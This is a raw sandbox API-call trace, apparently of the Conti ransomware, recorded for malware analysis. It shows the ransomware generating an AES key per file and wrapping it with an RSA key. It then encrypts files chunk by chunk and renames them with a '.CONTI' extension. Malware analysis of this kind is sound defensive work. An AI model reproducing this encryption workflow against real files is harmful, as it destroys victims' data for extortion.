	[0108.228] ReadFile (in: hFile=0x34c, lpBuffer=0xf8b0000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x537fc04, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesRead=0x537fc04*=0x500000, lpOverlapped=0x0) returned 1
	[0108.429] CryptEncrypt (in: hKey=0x175e770, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0x500000, dwBufLen=0x500000 | out: pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0x500000) returned 1
	[0108.784] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x2300000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.784] WriteFile (in: hFile=0x34c, lpBuffer=0xf8b0000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x537fc18, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesWritten=0x537fc18*=0x500000, lpOverlapped=0x0) returned 1
	[0109.103] ReadFile (in: hFile=0x34c, lpBuffer=0xf8b0000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x537fc04, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesRead=0x537fc04*=0x500000, lpOverlapped=0x0) returned 1
	[0110.512] CryptEncrypt (in: hKey=0x175e770, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0x500000, dwBufLen=0x500000 | out: pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0x500000) returned 1
	[0110.518] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x2800000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.518] WriteFile (in: hFile=0x34c, lpBuffer=0xf8b0000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x537fc18, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesWritten=0x537fc18*=0x500000, lpOverlapped=0x0) returned 1
	[0111.106] ReadFile (in: hFile=0x34c, lpBuffer=0xf8b0000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x537fc04, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesRead=0x537fc04*=0x500000, lpOverlapped=0x0) returned 1
	[0112.642] CryptEncrypt (in: hKey=0x175e770, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0x500000, dwBufLen=0x500000 | out: pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0x500000) returned 1
	[0112.655] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x2d00000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.656] WriteFile (in: hFile=0x34c, lpBuffer=0xf8b0000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x537fc18, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesWritten=0x537fc18*=0x500000, lpOverlapped=0x0) returned 1
	[0113.000] ReadFile (in: hFile=0x34c, lpBuffer=0xf8b0000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x537fc04, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesRead=0x537fc04*=0x500000, lpOverlapped=0x0) returned 1
	[0114.417] CryptEncrypt (in: hKey=0x175e770, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0x500000, dwBufLen=0x500000 | out: pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0x500000) returned 1
	[0115.153] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x3200000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.153] WriteFile (in: hFile=0x34c, lpBuffer=0xf8b0000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x537fc18, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesWritten=0x537fc18*=0x500000, lpOverlapped=0x0) returned 1
	[0115.671] ReadFile (in: hFile=0x34c, lpBuffer=0xf8b0000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x537fc04, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesRead=0x537fc04*=0x500000, lpOverlapped=0x0) returned 1
	[0116.395] CryptEncrypt (in: hKey=0x175e770, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0x500000, dwBufLen=0x500000 | out: pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0x500000) returned 1
	[0116.401] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x3700000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.401] WriteFile (in: hFile=0x34c, lpBuffer=0xf8b0000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x537fc18, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesWritten=0x537fc18*=0x500000, lpOverlapped=0x0) returned 1
	[0120.730] ReadFile (in: hFile=0x34c, lpBuffer=0xf8b0000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x537fc04, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesRead=0x537fc04*=0x500000, lpOverlapped=0x0) returned 1
	[0123.713] CryptEncrypt (in: hKey=0x175e770, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0x500000, dwBufLen=0x500000 | out: pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0x500000) returned 1
	[0123.719] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x3c00000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.719] WriteFile (in: hFile=0x34c, lpBuffer=0xf8b0000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x537fc18, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesWritten=0x537fc18*=0x500000, lpOverlapped=0x0) returned 1
	[0126.537] ReadFile (in: hFile=0x34c, lpBuffer=0xf8b0000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x537fc04, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesRead=0x537fc04*=0x500000, lpOverlapped=0x0) returned 1
	[0127.381] CryptEncrypt (in: hKey=0x175e770, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0x500000, dwBufLen=0x500000 | out: pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0x500000) returned 1
	[0127.387] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x4100000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.387] WriteFile (in: hFile=0x34c, lpBuffer=0xf8b0000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x537fc18, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesWritten=0x537fc18*=0x500000, lpOverlapped=0x0) returned 1
	[0129.857] ReadFile (in: hFile=0x34c, lpBuffer=0xf8b0000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x537fc04, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesRead=0x537fc04*=0x500000, lpOverlapped=0x0) returned 1
	[0131.634] CryptEncrypt (in: hKey=0x175e770, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0x500000, dwBufLen=0x500000 | out: pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0x500000) returned 1
	[0131.686] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x4600000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0131.686] WriteFile (in: hFile=0x34c, lpBuffer=0xf8b0000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x537fc18, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesWritten=0x537fc18*=0x500000, lpOverlapped=0x0) returned 1
	[0132.644] ReadFile (in: hFile=0x34c, lpBuffer=0xf8b0000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x537fc04, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesRead=0x537fc04*=0x500000, lpOverlapped=0x0) returned 1
	[0135.121] CryptEncrypt (in: hKey=0x175e770, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0x500000, dwBufLen=0x500000 | out: pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0x500000) returned 1
	[0135.127] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x4b00000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0135.127] WriteFile (in: hFile=0x34c, lpBuffer=0xf8b0000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x537fc18, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesWritten=0x537fc18*=0x500000, lpOverlapped=0x0) returned 1
	[0136.372] ReadFile (in: hFile=0x34c, lpBuffer=0xf8b0000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x537fc04, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesRead=0x537fc04*=0x500000, lpOverlapped=0x0) returned 1
	[0137.173] CryptEncrypt (in: hKey=0x175e770, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0x500000, dwBufLen=0x500000 | out: pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0x500000) returned 1
	[0137.179] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x5000000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.179] WriteFile (in: hFile=0x34c, lpBuffer=0xf8b0000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x537fc18, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesWritten=0x537fc18*=0x500000, lpOverlapped=0x0) returned 1
	[0138.580] ReadFile (in: hFile=0x34c, lpBuffer=0xf8b0000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x537fc04, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesRead=0x537fc04*=0x500000, lpOverlapped=0x0) returned 1
	[0140.527] CryptEncrypt (in: hKey=0x175e770, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0x500000, dwBufLen=0x500000 | out: pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0x500000) returned 1
	[0140.534] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x5500000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.534] WriteFile (in: hFile=0x34c, lpBuffer=0xf8b0000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x537fc18, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesWritten=0x537fc18*=0x500000, lpOverlapped=0x0) returned 1
	[0142.435] ReadFile (in: hFile=0x34c, lpBuffer=0xf8b0000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x537fc04, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesRead=0x537fc04*=0x500000, lpOverlapped=0x0) returned 1
	[0144.466] CryptEncrypt (in: hKey=0x175e770, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0x500000, dwBufLen=0x500000 | out: pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0x500000) returned 1
	[0145.600] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x5a00000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.601] WriteFile (in: hFile=0x34c, lpBuffer=0xf8b0000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x537fc18, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesWritten=0x537fc18*=0x500000, lpOverlapped=0x0) returned 1
	[0146.750] ReadFile (in: hFile=0x34c, lpBuffer=0xf8b0000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x537fc04, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesRead=0x537fc04*=0x500000, lpOverlapped=0x0) returned 1
	[0149.259] CryptEncrypt (in: hKey=0x175e770, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0x500000, dwBufLen=0x500000 | out: pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0x500000) returned 1
	[0149.266] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x5f00000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.266] WriteFile (in: hFile=0x34c, lpBuffer=0xf8b0000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x537fc18, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesWritten=0x537fc18*=0x500000, lpOverlapped=0x0) returned 1
	[0152.010] ReadFile (hFile=0x34c, lpBuffer=0xf8b0000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x537fc04, lpOverlapped=0x0) 

Thread:
	id = 171
	os_tid = 0x1204

	[0093.109] VirtualAlloc (lpAddress=0x0, dwSize=0x500020, flAllocationType=0x3000, flProtect=0x4) returned 0xfdc0000
	[0093.110] CryptAcquireContextA (in: phProv=0x54bfc48, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x54bfc48*=0x176c458) returned 1
	[0093.112] CryptImportKey (in: hProv=0x176c458, pbData=0xb8d90, dwDataLen=0x1000, hPubKey=0x0, dwFlags=0x0, phKey=0x54bfc44 | out: phKey=0x54bfc44*=0x175e130) returned 1
	[0093.112] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0093.385] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x17c07e8 | out: phKey=0x17c07e8*=0x175e4b0) returned 1
	[0093.385] CryptExportKey (in: hKey=0x175e4b0, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c07ec, pdwDataLen=0x54bfc14 | out: pbData=0x17c07ec*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0093.393] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin" (normalized: "c:\\$recycle.bin")) returned 0x16
	[0093.393] CreateFileW (lpFileName="C:\\$Recycle.Bin" (normalized: "c:\\$recycle.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0093.393] GetLastError () returned 0x5
	[0093.393] CryptDestroyKey (hKey=0x175e4b0) returned 1
	[0093.393] GetProcessHeap () returned 0x1720000
	[0093.393] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1741e18 | out: hHeap=0x1720000) returned 1
	[0093.393] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0093.689] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x17c4350 | out: phKey=0x17c4350*=0x175e630) returned 1
	[0093.689] CryptExportKey (in: hKey=0x175e630, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c4354, pdwDataLen=0x54bfc14 | out: pbData=0x17c4354*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0093.690] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml")) returned 0x80
	[0093.690] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0093.690] GetLastError () returned 0x0
	[0093.690] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=77232) returned 1
	[0093.690] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x12db0
	[0093.690] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.690] SetEndOfFile (hFile=0x348) returned 1
	[0093.690] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.690] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.691] WriteFile (in: hFile=0x348, lpBuffer=0x17c4354*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x17c4354*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0093.692] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.692] ReadFile (in: hFile=0x348, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x12db0, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x12db0, lpOverlapped=0x0) returned 1
	[0093.694] CryptEncrypt (in: hKey=0x175e630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x12db0, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x12dc0) returned 1
	[0093.695] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.695] WriteFile (in: hFile=0x348, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x12dc0, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x12dc0, lpOverlapped=0x0) returned 1
	[0093.695] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.695] WriteFile (in: hFile=0x348, lpBuffer=0x17c4348*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x17c4348*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0093.695] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.695] CloseHandle (hObject=0x348) returned 1
	[0093.697] GetProcessHeap () returned 0x1720000
	[0093.697] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0093.698] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml"
	[0093.699] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.CONTI") returned="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.CONTI"
	[0093.699] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.CONTI" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.conti")) returned 1
	[0093.699] GetProcessHeap () returned 0x1720000
	[0093.699] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0093.699] CryptDestroyKey (hKey=0x175e630) returned 1
	[0093.699] GetProcessHeap () returned 0x1720000
	[0093.699] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1732540 | out: hHeap=0x1720000) returned 1
	[0093.699] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0094.162] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x17d3b18 | out: phKey=0x17d3b18*=0x175e4b0) returned 1
	[0094.162] CryptExportKey (in: hKey=0x175e4b0, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d3b1c, pdwDataLen=0x54bfc14 | out: pbData=0x17d3b1c*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0094.168] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico")) returned 0x80
	[0094.169] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0094.169] GetLastError () returned 0x0
	[0094.169] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=894) returned 1
	[0094.169] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x37e
	[0094.169] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.169] SetEndOfFile (hFile=0x34c) returned 1
	[0094.169] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.169] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.169] WriteFile (in: hFile=0x34c, lpBuffer=0x17d3b1c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x17d3b1c*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0094.171] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.171] ReadFile (in: hFile=0x34c, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x37e, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x37e, lpOverlapped=0x0) returned 1
	[0094.171] CryptEncrypt (in: hKey=0x175e4b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x37e, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x380) returned 1
	[0094.171] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.171] WriteFile (in: hFile=0x34c, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x380, lpOverlapped=0x0) returned 1
	[0094.172] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.172] WriteFile (in: hFile=0x34c, lpBuffer=0x17d3b10*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x17d3b10*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0094.172] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.172] CloseHandle (hObject=0x34c) returned 1
	[0094.172] GetProcessHeap () returned 0x1720000
	[0094.172] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0094.173] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico"
	[0094.173] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.CONTI") returned="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.CONTI"
	[0094.173] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.CONTI" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico.conti")) returned 1
	[0094.174] GetProcessHeap () returned 0x1720000
	[0094.174] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0094.174] CryptDestroyKey (hKey=0x175e4b0) returned 1
	[0094.174] GetProcessHeap () returned 0x1720000
	[0094.174] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c6f20 | out: hHeap=0x1720000) returned 1
	[0094.174] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0095.287] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x17d2fb0 | out: phKey=0x17d2fb0*=0x17c8270) returned 1
	[0095.287] CryptExportKey (in: hKey=0x17c8270, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d2fb4, pdwDataLen=0x54bfc14 | out: pbData=0x17d2fb4*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0095.288] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx")) returned 0x20
